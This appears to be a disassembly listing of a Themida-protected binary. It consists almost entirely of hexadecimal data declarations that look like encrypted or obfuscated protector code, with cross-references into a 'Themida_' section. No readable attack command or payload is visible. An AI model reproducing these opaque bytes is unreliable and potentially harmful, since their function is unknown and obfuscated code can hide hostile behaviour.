		dd 428B60D4h, 0E3858908h, 8B064D62h, 85890C42h,	64D62DBh
		dd 8910428Bh, 4D62DF85h, 19B58D06h, 8D064D63h, 5B7E3585h
		dd 61D0FF00h, 0CC25Ah, 62E3B58Bh, 858B064Dh, 64D62DBh
		dd 62DFBD83h, 0F00064Dh, 784h, 0E9068900h, 2, 0CF0688h
		dd 0
		db 3 dup(0)
byte_5930B3	db 52h			; DATA XREF: Themida_:0053E2E8o
		dd 8B60D48Bh, 85890842h, 64D62E3h, 636AB58Dh, 858D064Dh
		dd 5B7E35h, 5A61D0FFh, 62E3858Bh, 4C2064Dh, 0E3858B00h
		dd 8B064D62h, 0E3858900h, 0CF064D62h, 0
dword_5930EC	dd 40B58960h, 89064D63h, 4D633C85h, 0E5858D06h,	8B064821h
					; DATA XREF: Themida_:0053FDFCo
		dd 85894440h, 64D6379h,	63AFB58Dh, 858D064Dh, 5B7E35h
		dd 8B61D0FFh, 4D634085h, 9D8BC306h, 64D633Ch, 3C43B70Fh
		dd 5B8BD803h, 3C9D0378h, 8B064D63h, 0B5032473h,	64D633Ch
		dd 207B8B56h, 31C738Bh,	4D633CBDh, 3CB50306h, 0FC064D63h
		dd 41FFC983h, 63409D8Bh, 178B064Dh, 633C9503h, 0C783064Dh
		dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h,	43FFFFFFh
		dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h
		dd 86048B0Fh, 633C8503h, 8589064Dh, 64D6340h, 0CE8BF08Bh
		dd 0BD81C18Bh, 64D6379h, 0C0300000h, 0D850Fh, 0E8C10000h
		dd 0FFC2514h, 8E90000h,	0C1000000h, 0F82512E8h,	8B00003Fh
		dd 4D6379BDh, 70C8306h,	7148B06h, 8124C28Bh, 0C18B813Ch
		dd 57840Fh, 0BD810000h,	64D6379h, 0C0300000h, 0D850Fh
		dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h
		dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h
		dd 81000000h, 4D6379BDh, 30000006h, 0E840FC0h, 25000000h
		dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 64D62E7h,	598589h
		dd 858D0648h, 64D637Dh,	308D8589h, 858D0648h, 64D6344h
		dd 15798589h, 6E80648h,	24000000h, 66BBC41Bh, 81665804h
		dd 81A25DEBh, 7105C0h, 0B9F78A00h, 0
aL4S		db '▀4',8,'``И',0Bh,0
		dd 27D20000h, 708F7DB7h, 10D8F314h, 10E980h, 81A10000h
		dd 7C0F19Bh, 204CE9E0h,	59F85D8Ah, 81619D7Ch, 0F72086D6h
		dd 0EE816124h, 5AE553C6h, 81FE8B66h, 59E922EEh,	0F606017h
		dd 83h,	0CA816100h, 7EFCF0BBh, 0EBEE8161h, 0F5F19B4h, 783h
		dd 0C6BF5300h, 5F4AB582h, 0E9083489h, 11h, 70FB772Dh, 72CCE960h
		dd 6C62104Ah, 5ECC7547h, 0C3815072h, 7D57A5CDh,	2E9835Ah
		dd 8E0F4949h, 19h, 13890Fh, 0EE90000h, 1E000000h, 0B238530Eh
		dd 19DCC8C5h, 4DFEAFB7h, 0C8F981BEh, 0FFFFF8Fh,	0FFFF4B85h
		dd 0F98B66FFh, 0E9FA11D0h, 0A5964803h, 0F163AC64h, 57773A2h
		dd 790B3783h, 0FFDA7218h, 829987A7h, 30E78748h,	47AC2603h
		dd 23D87A79h, 29938A4Dh, 3FDB312Fh, 30DA3A36h, 8E6051D9h
		dd 33B3DE4Ch, 8ABC3776h, 8D592AF0h, 36923A10h, 0B5E38CEh
		dd 3FDA3767h, 30DA283Bh, 295C38D9h, 0D8DA37ECh,	30DA3765h
		dd 1F7FC05Bh, 0EBB39C52h, 0AC0A5D2Fh, 7F672B99h, 6ACB8028h
		dd 30D91930h, 30D6DEECh, 0C77C3776h, 309BE8A0h,	0E8955360h
		dd 0B5575AE2h, 36975282h, 0B8D56746h, 30DA37D1h, 305538BDh
		dd 6ADA3776h, 3FFE33B2h, 30DA3319h, 0AB6451CEh,	0B557CE95h
		dd 36975274h, 0C7B8EBFh, 0C96451BCh, 14DEBEB4h,	0CF128034h
		dd 78F74208h, 0B1918DC8h, 0F0516AEEh, 0D88937D9h, 30DA37DAh
		dd 6B196CCCh, 34FE6BFFh, 34FE73BAh, 30DA3780h, 0D719648Dh
		dd 0E1826C5h, 53CED70Fh, 0B5D557D9h, 30DA37E8h,	40288D10h
		dd 512ABC5Dh, 10338A1Eh, 45DA3186h, 5167B46Eh, 30DC7F9Fh
		dd 638A2EADh, 4A62F767h, 0B9DA3772h, 78F296BEh,	1C47BA9Bh
		dd 0CFDC7D7Eh, 0B3826CB4h, 78F6560Eh, 27AE37DFh
		db 0BCh, 64h, 62h
byte_59346F	db 4Ah			; DATA XREF: Themida_:0053ED14o
		dd 0B9DA3772h, 78F296BEh, 2B47BA9Bh, 0CFDC7D63h, 3F826CB4h
		dd 0BB23CF0Ch, 61DA5D19h, 30DA3404h, 0F3831776h, 1496BE62h
		dd 149EB699h, 30DA2BCAh, 0F38B7667h, 58085626h,	340B9415h
		dd 0C15151A8h, 5515AAFBh, 8FBC3176h, 0B557C4B6h, 3697667Eh
		dd 0D88F370Dh, 30DA37B0h, 6D196AF9h, 34FE5B65h,	34FE73F7h
		dd 30DA3726h, 7D1962D8h, 0EFAFF741h, 18011D1Ch,	560AC877h
		dd 99E9DE58h, 0B4D5F7E7h, 30DA37FBh, 0D88D3751h, 30DA379Eh
		dd 6F1968EEh, 34FE4BEEh, 34FE7332h, 30DA37C2h, 881960ABh
		dd 4FAD763Ah, 0D892195Bh, 30DA3795h, 241E614Bh,	6F238870h
		dd 0B35E8ED3h, 3C3332F5h, 0B1DA37ECh, 0A74BD8D7h, 0FFEA56B8h
		dd 512E1E3Fh, 5447BA90h, 5ADC7F2Ch, 333261B3h, 10DA37D9h
		dd 0B984F4B2h, 0B1DE1302h, 26DE137Fh, 76DA379Dh, 0DEA7F498h
		dd 0E15164EEh, 30DCDEE9h, 6E6937D9h, 0F37DB083h, 30DA34CEh
		dd 5689663Bh, 6F78EB27h, 0BB39C890h, 0E747BA9Dh, 3FDC7AD6h
		dd 0B557CF6Eh, 3697665Ch, 0D88F371Ch, 30DA3738h, 6D196ABDh
		dd 34FE5B47h, 34FE73E6h, 30DA37A6h, 0F919629Ch,	0CA6538FEh
		dd 0BBBCE789h, 3F1A3CC1h, 30DA4319h, 3E2BB6CEh,	0BDB64A97h
		dd 7891532Eh, 0FF10B6DFh, 888A72C6h, 30DA3777h,	0D88B3751h
		dd 30DA379Eh, 69196EEEh, 34FE7BEEh, 34FE7332h, 30DA37CFh
		dd 31966ADh, 78605CEDh,	82D2D601h, 5A39C8E9h, 333264CEh
		dd 10DA3767h, 0B981F4E8h, 0B1DE1385h, 26DE13A8h, 73DA3776h
		dd 0B027F468h, 30C9DE35h, 0FEF537CEh, 4828D2BFh, 5051F4A1h
		dd 0B44A44A3h, 0FC2D56Bh, 0EC47BA14h, 0B0DC7A5Eh, 0B5573A54h
		dd 3697667Eh, 0D88C370Dh, 30DA37B0h, 6E1969F9h,	34FE4365h
		dd 34FE73F7h, 30DA372Eh, 9F1961DBh, 5A0AC806h, 33326667h
		dd 10DA37B3h, 0B983F480h, 0B1DE13A0h, 26DE1332h, 71DA373Bh
		dd 4DAEF4CCh, 3F1A3CF0h, 30DA61E3h, 66DA5DB3h, 30DA3431h
		dd 0F38417ECh, 14AEBE28h, 149EB63Fh, 30DA2299h,	0F38C71CEh
		dd 0AD57B7B4h, 36927CD7h, 0D88B37B3h, 30DA37EFh, 69196E56h
		dd 34FE7BB2h, 34FE731Ch, 30DA37D2h, 10196626h, 0C8F88291h
		dd 0BC96C24Dh, 30DA3454h, 0B1BCC276h, 0CFDA97CAh, 7354827Eh
		dd 3A5F389Ch, 0D9DA3767h, 30DA37B6h, 0C7AB1DF0h, 8D576D10h
		dd 369752B3h, 5941BAB6h, 4D6231D0h, 3507C92h, 78F492E2h
		dd 0F1151CB5h, 0D6E747BAh, 6E3FDC7Ah, 5CB557CFh, 1C369766h
		dd 38D88F37h, 0BD30DA37h, 0E983196Ah, 8BA4F305h, 6A51B6C0h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0E85DC351h, 6D794C30h, 8BD58A4Bh,	0CE9C3h
		dd 322C0000h, 0CC7AEBC3h, 0F2358D5h, 72BE0A09h,	8B5F0727h
		dd 51006AC0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0D0DBBE33h, 0B70F7F94h, 0E9BD83F8h, 64820h
		dd 0BD830975h, 6482C61h, 50197400h, 0B8C08B53h,	47Ah, 218589h
		dd 9D8D0648h, 64AB093h,	585BD3FFh, 2C61BD83h, 74000648h
		dd 0B8535017h, 47Ah, 218589h, 9D8D0648h, 64AAD34h, 585BD3FFh
		dd 6A5F51h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0C01150C3h, 8D8DC08Bh, 64D6B43h, 86F8F781h
		dd 8D8918C8h, 6480A19h,	2840Fh,	0D38A0000h, 6A9BD0Bh, 85C70648h
		dd 6480F35h, 654Ch, 2A4ABA66h, 242585C7h, 648h,	6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 1F35DBC3h, 8BB09475h, 482EA1BDh, 0B5B5FF06h,	6A064824h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0DDD9C355h, 0AEB8EB96h, 8B56C795h, 0BD95FFD9h
		dd 6A064820h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 7EE8C353h, 6AF869E2h, 6195FF00h
		dd 8B064830h, 0BC3CEBC0h, 23956881h, 1547D3Ah, 83D64D86h
		dd 87855A56h, 0CA86A4DDh, 0CF8E44FAh, 0DF98E090h, 510BC924h
		dd 9035E212h, 23591956h, 2F1BEDDEh, 81280E65h, 0EFDCD65Ch
		dd 805189A2h, 0E9AD42BCh, 13Ch,	46h dup(0)
		db 2 dup(0)
word_593A12	dw 0			; DATA XREF: Themida_:0053F18Co
		dd 8 dup(0)
		dd 285DBD83h, 0F010648h, 61784h, 88C0F00h, 0F000000h, 28Fh
		dd 0F616000h, 18Ch, 85C6F500h, 648276Dh, 8B606043h, 77B4BEC8h
		dd 0E96160B3h, 0Ah, 0AE9C601Dh,	9258AE83h, 6861BBD2h, 0F96E490Fh
		dd 0AE9h, 0EA408000h, 0FA14E998h, 81561A6Eh, 99FA2434h
		dd 6A15CBh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0D06726C3h, 9D737D13h, 8880F9Fh, 0F000000h
		dd 280h, 0FF616000h, 482195B5h,	890F6006h, 6, 870Fh, 11E90000h
		dd 5F000000h, 6A5B5B4Ah, 3F11C92h, 701F8A6Ah, 13823504h
		dd 1E858D61h, 0FC064B83h, 13E9D0FFh, 4A000000h,	605CAB74h
		dd 0EF1CF025h, 4173E162h, 6C5384Ch, 85898E1Bh, 6481BBDh
		dd 0BEEA8A60h, 64C900DFh, 6D85C661h, 50064827h,	61CF8B60h
		dd 4E8h, 0ADAD5600h, 328C0FA8h,	50000000h, 0EE952h, 0EC180000h
		dd 0B222F7E7h, 0EE410557h, 0BA3FA0A5h, 14E9310Fh, 97000000h
		dd 63BB2F91h, 9F3C2C19h, 0E62F86C3h, 0BBEFEB36h, 5A5E8023h
		dd 52505058h, 8E95250h,	0D000000h, 200594C8h, 0F5AD88Dh
		dd 5A616031h, 0F310F58h, 684h, 0F525000h, 5A585A31h, 24448B58h
		dd 72B36004h, 0FAB86660h, 8B6161FBh, 1C8A0F00h,	50000000h
		dd 0F525052h, 0F585A31h, 0BE931h, 0C4DB0000h, 22710FFBh
		dd 57CA11Ch, 89585A18h,	0F042444h, 0D8Ch, 5E86000h, 9E000000h
		dd 765F78E5h, 6A58615Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0DC73C355h,	0A0C7A35Ah
		dd 0F565A01h, 188h, 8B0FF900h, 11h, 0D7BF0F60h,	7E9h, 8205CE00h
		dd 84663BC3h, 95B5FF61h, 60064821h, 8A60C18Bh, 8A0FD8h
		dd 61000000h, 1E858D61h, 6A064B83h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0EFB7C356h
		dd 7864D857h, 6E9h, 6BA3DE00h, 0FFD92754h, 51006AD0h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 0F9DAEEEh, 1986h, 14E900h, 7D630000h, 48124783h, 0D9C2FA00h
		dd 1E2319B0h, 0F141BEA0h, 8589328Eh, 6481F95h, 742F68F8h
		dd 860FCD25h, 12h, 52505250h, 585A310Fh, 5250310Fh, 585A310Fh
		dd 3481585Ah, 0AADC0024h, 10E93Dh, 57490000h, 14D7ED82h
		dd 1D5EB118h, 0F80B2A8Bh, 0B5FFF147h, 6482195h,	0D8F0Fh
		dd 8E90000h, 0F9000000h, 84235FCBh, 8D83D1E8h, 4B831E85h
		dd 28850F06h, 60000000h, 0AE9h,	0DDE31100h, 0A9AFD8A8h
		dd 0E9B9DCE8h, 12h, 5EA833A1h, 32EB3B76h, 4F99D278h, 529DACC7h
		dd 0FF61411Eh, 0CE9D0h,	5EE10000h, 60F89E4Dh, 768901E1h
		dd 8589DC0Ch, 648236Dh,	14E9h, 5E6A00h,	0D30D9430h, 10296676h
		dd 0CDB944CBh, 3728F4F0h, 6D85C6A7h, 50064827h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 64C35343h, 1A2F4A9Bh
		dd 4C2A685Dh, 5250C8EFh, 13E9h,	27F45D00h, 440C9EB9h, 0F5F839A8h
		dd 5EE56CC8h, 2EC5D069h, 860F310Fh, 6, 870Fh, 585A0000h
		dd 7C243481h, 6A5F7390h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 1607C353h, 0B7A50F6Fh
		dd 60D75EEBh, 0F98BD68Bh, 21B5FF61h, 0F06482Ch,	583h, 5E536000h
		dd 858D61FCh, 6483878h,	0DC1DB860h, 14E95897h, 0B1000000h
		dd 0EDD8464Bh, 20703B25h, 0CC3C0BCEh, 0FDE4F1F7h, 61A2BC60h
		dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0EEBEF7C3h, 1ECB3244h, 1850F18h, 0F8000000h
		dd 9800Fh, 66600000h, 1435E381h, 89616160h, 48092185h
		dd 78B0F06h, 0F000000h,	181h, 0EE9F800h, 9A000000h, 0AFC95086h
		dd 99295110h, 1C7F03F4h, 1D2E96Ch, 56600000h, 12E8h, 26A59C00h
		dd 8F31CA77h, 0F29C2484h, 0E34FF5A9h, 5B701C03h, 0DE8B6658h
		dd 11E96061h, 43000000h, 0FC9C2E2Ch, 79765CA1h,	0BC293AE7h
		dd 0E2044755h, 52509561h, 52505250h, 585A310Fh,	12E9310Fh
		dd 26000000h, 9400E2DFh, 0C99B391Dh, 350D0E70h,	88F17311h
		dd 0F585AD1h, 12E931h, 5A320000h, 25A9519h, 7C34D644h
		dd 47D36C2Eh, 0B4E5E222h, 6050585Ah, 0DB30BE66h, 66609561h
		dd 4103CE81h, 1840Fh, 61F50000h, 850FEC8Bh, 1Eh, 0BE960h
		dd 81CC0000h, 0D0D59418h, 0BA154011h, 7E9ADh, 0D47E0000h
		dd 8A9D141Ah, 0C4836108h, 816660FCh, 0E8B530C9h, 7, 0CADEB662h
		dd 0E9FB56A2h, 12h, 7EE2A520h, 0DC104434h, 5291B0C1h, 0E0A1D80Ah
		dd 615951C3h, 0CE960h, 2D390000h, 352D7A32h, 27AC71B1h
		dd 0E8FEE1h, 5A000000h,	7210EA81h, 45C7064Dh, 0FCh, 5DBA8300h
		dd 1064828h, 98840Fh, 6A520000h, 0FF0F6A00h, 481BBD92h
		dd 82895A06h, 64D6B89h,	6B8D9A8Dh, 0C752064Dh, 12803h
		dd 0FF505300h, 481F9592h, 8D525A06h, 4D6B8D9Ah,	0B2FF5306h
		dd 64D6B89h, 92192FFh, 0B5A0648h, 8D5074C0h, 4D6B8D9Ah
		dd 247B8D06h, 0F981C933h, 104h,	8141D474h, 452E393Ch, 0EE754558h
		dd 2B39348Dh, 0BA8D0C75h, 6480259h, 0F30C4D8Bh,	0AAC032A4h
		dd 875FF52h, 259828Dh, 0FF500648h, 48236D92h, 0C00B5A06h
		dd 45C7A075h, 1FCh, 0C707EB00h,	0FC45h,	8B610000h, 0C2C9FC45h
		dd 0DE90008h, 5C000000h, 0E99E4CFFh, 6F7A6422h,	4876AD63h
		dd 7E9h, 2F836500h, 0D06E90BDh,	8EBD28Bh, 33DB53C2h, 77E7339Ch
		dd 0DBBE9h, 74476800h, 58E9064Dh, 68FFFB0Ah, 64D756Ah
		dd 0FB0A4EE9h, 773568FFh, 44E9064Dh, 68FFFB0Ah,	64D7886h
		dd 0FB0A3AE9h, 7A1A68FFh, 30E9064Dh, 68FFFB0Ah,	64D7C62h
		dd 0FB0A26E9h, 7DF668FFh, 1CE9064Dh, 68FFFB0Ah,	64D7EFBh
		dd 0FB0A12E9h, 0D92537FFh, 0DB273E5Fh, 0DC284061h, 0DF2B2374h
		dd 0DF2B2475h, 5BE0E675h, 5F003884h, 45163E8Ah,	491A428Eh
		dd 870B4591h, 26178763h, 0BE155614h, 1D698174h,	115D7522h
		dd 0D8F05027h, 9213606Ch, 0C669498Eh, 0D37BEF7Dh, 0C6EC560Eh
		dd 3206990Fh, 287D5B39h, 11000000h, 4F09E95Bh, 323E2A03h
		dd 498E9ED9h, 933EC13h,	50EA3630h, 0EDF2E24h, 0BA193956h
		dd 39413F44h, 0B9445Bh,	81DA0000h, 75221D69h, 62150E5Ah
		dd 7C1B2470h, 96221A66h, 4FC6B66Dh, 5DA9C099h, 82CE84D1h
		dd 0AE6FAE6h, 4FC6B794h, 6BDB7998h, 0C94FC6B7h,	0D384CC66h
		dd 0A178B3FFh, 0FDB899Fh, 498E9EFCh, 4B974B6Ch,	1B0D2900h
		dd 43F53CF4h, 333B0F2Dh, 3B4FD42Fh, 2CF7431Ah, 83E739D5h
		dd 0C94EF767h, 33DA354Fh, 0DD2B2415h, 0B0632A65h, 0DF59B0EAh
		dd 0C093A9BEh, 0F97D8D74h, 0C0CCBF1Fh, 0BD38677h, 2A3A0000h
		dd 282576DEh, 2D2374DCh, 302677E1h, 342B6CE4h, 0E9F170E8h
		dd 351F6B64h, 37216D64h, 2F297566h, 8307C6Eh, 12844894h
		dd 22561427h, 66817FC3h, 6981221Ah, 5B49331Dh, 4C420EE9h
		dd 0E04FC6B3h, 707CE841h, 498E9E9Bh, 57F52ED1h,	560EDEE3h
		dd 58845884h, 0EDF2294h, 61EF1256h, 560EDEEDh, 456E03Fh
		dd 41384BC1h, 0FA4B5B39h, 0E3000000h, 221D6981h, 150E5A75h
		dd 0C6B65477h
		dd 0A4A8944Fh, 4FC6B7B2h, 0B7BEB0BCh, 936E4FC6h, 0BEC1927Bh
		dd 998799BFh, 0A1B9A670h, 1DCEE755h, 27F356D1h,	8B42732Fh
		dd 111D043Fh, 717D8E44h, 4FC77DFDh, 4F3F0B2Fh, 0DD4FC77Eh
		dd 942EB42h, 0FFF61030h, 49DAFD1Ah, 391533DAh, 498EA3A2h
		dd 3C26A38Ch, 0EC40EC24h, 567F1B15h, 5BDE3884h,	4C420EE9h
		dd 0DD560EC5h, 0E169818h, 19F80E11h, 4F6854F0h,	6CD34C98h
		dd 0FDF7FAF9h, 0A24FDDDh, 0D4950362h, 6AD6394Fh, 124A9651h
		dd 66809651h, 7B6E111Ah, 0F40DF42Fh, 0AF73FD0Dh, 0ED36CCBFh
		dd 0AB008h, 0F9451700h,	0FB471E3Fh, 0FC482041h,	0FF4B0354h
		dd 0FF4B0455h, 7B00C655h, 7F201864h, 65361E6Ah,	693A226Eh
		dd 0A72B2571h, 27F76783h, 9E355614h, 1A668194h,	58698122h
		dd 0C6B32294h, 46A30F4Fh, 9DC89DA1h, 0D983AA85h, 965A866Fh
		dd 4FC6B320h, 0E12D2314h, 12A0366h, 0DBAAA9ACh,	1E3FDB87h
		dd 1847004Ch, 0F73EF642h, 2D112F45h, 2C06520Ch,	8F771340h
		dd 60726349h, 850B7B4Fh, 629560Fh, 0F20D131Fh, 85281B39h
		dd 1B41560Fh, 853B2B3Fh, 16F9560Fh, 0D673D8EDh,	0D06AE86Ah
		dd 0CAD54B8Ah, 0B95B397Bh, 6D8h, 815A864Dh, 3A0F1864h
		dd 0C6B3281Eh, 9250C4Fh, 62FE1626h, 188E627Eh, 1C4FC6B3h
		dd 7E5119F5h, 0B0498EB6h, 0C4BED651h, 9D560EB7h, 90AF78C4h
		dd 0B7AC8FDBh, 0FAD0E06Bh, 0DDD5701Bh, 1613B026h, 0B4A55B39h
		dd 0D7F3519Dh, 560EAF67h, 5FD06AC5h, 684h, 0DD292415h
		dd 0CC183562h, 0FB17EE53h, 0D3E95B41h, 9E525975h, 759C498Eh
		dd 0DFA8A2AAh, 9FB9560Eh, 0AEA7D853h, 0DF80E962h, 0C987C00Ch
		dd 0B8A550B3h, 0BAC53B9Ah, 0C95B393Dh, 648h, 101D865Dh
		dd 0A1110EEDh, 0A6260511h, 72CEE656h, 8F47915Eh, 5F72E349h
		dd 0EA363013h, 0E0210861h, 1C30F7C4h, 0CAE454CAh, 0FBD4D89Eh
		dd 484F54AFh, 0B68AB64Fh, 0A0B6CC85h, 8F76CB54h, 961AD94h
		dd 0D3EBA972h, 0BF0BC5F6h, 0D952AD73h, 47A6C080h, 4334533h
		dd 526EDA33h, 0D531D731h, 0AE887588h, 0A46884C6h, 0EB59B8D5h
		dd 7EC915CAh, 98940AE6h, 7998DA24h, 2DE8690h, 68B2FED9h
		dd 9D97E3F7h, 18D0E6FCh, 17EE53CCh, 0E09247F7h,	14093246h
		dd 8E5h, 0E44C984Ch, 0E64E9AB3h, 0E54F9BB5h, 0E64E9AB4h
		dd 0E64E9AB5h, 15CA4F77h, 1BCE8FC9h, 1F3465CFh,	223869D3h
		dd 367A5ED6h, 142A241Ah, 0E1ED0856h, 221D6981h,	69D7ED4Fh
		dd 68849550h, 4FC6B2F6h, 0F932DB36h, 925E0610h,	498BC049h
		dd 0F8B49C83h, 56142572h, 9728BB9h, 0F6E0079Dh,	481B56E0h
		dd 270E4692h, 89650331h, 56140F1Dh, 837F00Fh, 124E0652h
		dd 68E32F29h, 553D3501h, 0C56140Fh
dword_594524	dd 815D0B57h, 0EC378358h, 0F473715h, 48E55614h,	0AA512753h
					; DATA XREF: Themida_:0053FF94o
		dd 0B783AAE1h, 9EECFE9Fh, 0D17C737Eh, 0EF38D164h, 0F1656955h
		dd 785614A0h, 16F9115Dh, 30FA70FCh, 7367B687h, 6A431C27h
		dd 0EF46687Fh, 0EE3A1546h, 467DD335h, 20E3B99Bh, 85D187B0h
		dd 239B259Ah, 51DDCCDDh, 20384E04h, 0FF64BD4h, 4D5E7425h
		dd 38E95D71h, 0E44B4979h, 79391688h, 48FB1649h,	25FC4793h
		dd 312943FCh, 30497929h, 0FB472036h, 74661912h,	0FB511F28h
		dd 0A5BB6D18h, 95E1F96Eh, 131B89Bh, 81560000h, 75221D69h
		dd 7B19125Eh, 4FC6B30Bh, 7408C5Eh, 4400445Dh, 656365FEh
		dd 0BED666C9h, 54A0B9A2h, 5CEA2BAh, 47498CB0h, 0EA1A4AE8h
		dd 8CD7CAF0h, 794A9h, 9DE9FB00h, 9FEBE2B3h, 0A0ECE4B5h
		dd 0A3EFE7B8h, 0A3EFE8B9h, 9F24AAB9h, 83D47CC8h, 89DA82CEh
		dd 8DCE86D2h, 0CBCF89D5h, 2BDBCB9Fh, 7A595614h,	1D698138h
		dd 0F642163Fh, 5B74231Ch, 0BFBEC10Dh, 0D1A64CA8h, 30CECF98h
		dd 66CE37CEh, 76D21E35h, 9DEA9F0Dh, 6DC9A1C9h, 0C29CBDE9h
		dd 0DE69B5ACh, 0A9C1A28Bh, 0B37FE25Dh, 0F864B0A2h, 0C2158CA7h
		dd 0CF66C10Dh, 766CCF5Ch, 0EE48212Ah, 0D21E396Ah, 0E5312659h
		dd 5CB70F5Ah, 9A0593ECh, 0B5D2B503h, 0CDE3FC59h, 0F963CA16h
		dd 0F1961CA7h, 146754h,	86FF0000h, 5F6B7C55h, 4FC6B2EFh
		dd 0EF4BE23Dh, 812Ch, 6981E200h, 108A221Dh, 514FC6A3h
		dd 60FF4894h, 44043F8Bh, 6B62D72Eh, 3046061Fh, 748A60D5h
		dd 4BF9105Ch, 0F4EFF632h, 0F9156A15h, 0A1F80955h, 78439F5Ch
		dd 7566F743h, 1D961E29h, 7E4FC78Eh, 53087D58h, 81F34D07h
		dd 72251E6Ah, 0A7C5061h, 2A4FC6B3h, 2F7B5407h, 0A6FC4DD6h
		dd 9DE9FA6Fh, 0BB8DF7B3h, 0C0A24FC6h, 54F11A24h, 0B0A6AA96h
		dd 844FC6B3h, 9C94919Dh, 2AFFFFFEh, 32F3Fh, 5A86D300h
		dd 0C6B32096h, 21ED144Fh, 59D21E34h, 9550A2Bh, 234FEB3Eh
		dd 4FC6B33Fh, 0AF4EAFCBh, 414CADD9h, 3590C24Ch,	0F65EAAC0h
		dd 895FADA5h, 0F6C87EBh, 28A956Ch, 4FC6F698h, 7AC511C9h
		dd 0D16F85B7h, 0F66DE1EDh, 60BF4FC6h, 0F9C28ED6h, 33498C03h
		dd 46103ECCh, 8ED9CAF0h, 600AFh, 29756700h, 2B776E2Fh
		dd 2C787031h, 2F7B5304h, 2F7B5405h, 2BB01605h, 2F70E834h
		dd 1546EE3Ah, 194AF23Eh, 573BF541h, 2D473713h, 0EE55614h
		dd 1D6981C4h, 445A7522h, 2306418Dh, 2516520Ah, 552DC28h
		dd 657014Dh, 46570551h,	3FCB0BCDh, 4AF33FAEh, 7AE6322Dh
		dd 0F13A8661h, 1649FE18h, 112BF440h, 0C758493Dh, 1344EB4Fh
		dd 0D534EF3Bh, 7A9B467Dh, 4871E124h, 67F8428Eh,	6A2C2470h
		dd 54F1B655h, 2472Eh, 55BC800h,	703854CFh, 0F5B1284Ch
		dd 0ED9790DCh, 0B5B16DE1h, 0FF60BF4Eh, 9CA49FEBh, 49F49F76h
		dd 213AAA69h, 8E62FE4Ah, 4EB5B118h, 3B19F51Ch, 53E00FA8h
		dd 20FDBh, 55B7300h, 0E95D71CFh, 4B4FC6B2h, 18415BE4h
		dd 0D0E4F442h, 0D1E5D1E2h, 4A96DE38h, 0B5B128B9h, 0B3D0467Dh
		dd 0D053DFA4h, 1E4h, 5055B66h, 3B29004Ch, 0C6B3432Fh, 4307334Fh
		dd 4FC6B353h, 461D3EE1h, 3ED831FAh, 62FA45ECh, 7135F79h
		dd 284C256Bh, 6DA88EB1h, 0E00FECF7h, 1AE9753h, 714D0000h
		dd 782C7A10h, 2632C432h, 4EB54230h, 2B111D04h, 4A05055Bh
		dd 45DC45FEh, 0B36B5317h, 36D94FC6h, 293A310Ah,	0C6B33125h
		dd 51C034Fh, 0F24BE73Ah, 284C0E5Ah, 92C399B1h, 50B972BEh
		dd 0BB3194C6h, 53E01028h, 1635Bh, 5586F300h, 10F9327Eh
		dd 35815906h, 523152EAh, 6D65073h, 471B3CD6h, 4AFA41FBh
		dd 693A1632h, 0C3498EDEh, 0A5B9E35Ch, 0F1FD5C9h, 0C9BD9156h
		dd 6B560F1Fh, 77C35EC4h, 0F1F87FBh, 13F2E056h, 397E029Dh
		dd 3E815Bh, 5B150000h, 5975D3E9h, 498E9E82h, 0C214FD26h
		dd 96479612h, 0C08BA67Ch, 4E9AB3A4h, 64B0A2D5h,	939F86DBh
		dd 0EBE63D7h, 0F7CE0456h, 86AC7687h, 0A4A0A4AAh, 0C7B7CC8Ah
		dd 97CC5B39h, 62000000h, 20965A86h, 144FC6B3h, 1E3421EDh
		dd 312659D2h, 895E77E5h, 2B4CF13Dh, 3F60EB37h, 2975DF2Bh
		dd 130C5810h, 6388E42Eh, 9E4FC6B6h, 61D880CCh, 0CF9BC9DFh
		dd 498C2474h, 0CF1B3324h, 0FF21ED54h, 3C134420h, 401748F0h
		dd 0DEC216F4h, 2CF7CAF7h, 3B8C9h, 14D1F00h, 34F0657h, 4500859h
		dd 7530B4Ch, 7530C4Dh, 8308CE4Dh, 87D880CCh, 8DCE86D2h
		dd 91D28AD6h, 2FA38DD9h, 2F6FDFEBh, 26BD5614h, 1A66811Ch
		dd 58698122h, 0C6B32294h, 16EF124Fh, 5586641Eh,	0CFD32C78h
		dd 3610CDC6h, 81590610h, 382E0735h, 44CE33ECh, 3A865CFBh
		dd 0CFFD7602h, 18694FC6h, 0F6B039B2h, 151CF61Ch, 1B2F0D23h
		dd 498ECF90h, 6C4A8798h, 0C1E6C148h, 2AF22C66h,	22EC99ECh
		dd 4D372100h, 3F1D6981h, 362F4516h, 210861EAh, 4EF74326h
		dd 43ED3931h, 8344CECh,	8E927744h, 0FDBFF49h, 560ED39Fh
		dd 82A8728Dh, 9208A49Fh, 0CF560ED3h, 0DE81CA16h, 0C070BB07h
		dd 0A5C06BAAh, 0C3E056ADh, 0C05B3931h, 3Eh, 9E95B56h, 3F1D0450h
		dd 3B2B3F1Bh, 0F94FC6B3h, 9B70FC16h, 0D1498E9Eh, 3647F52Eh
		dd 8448530Dh, 560EB312h, 0EF24FF22h, 4723EF31h,	560ED453h
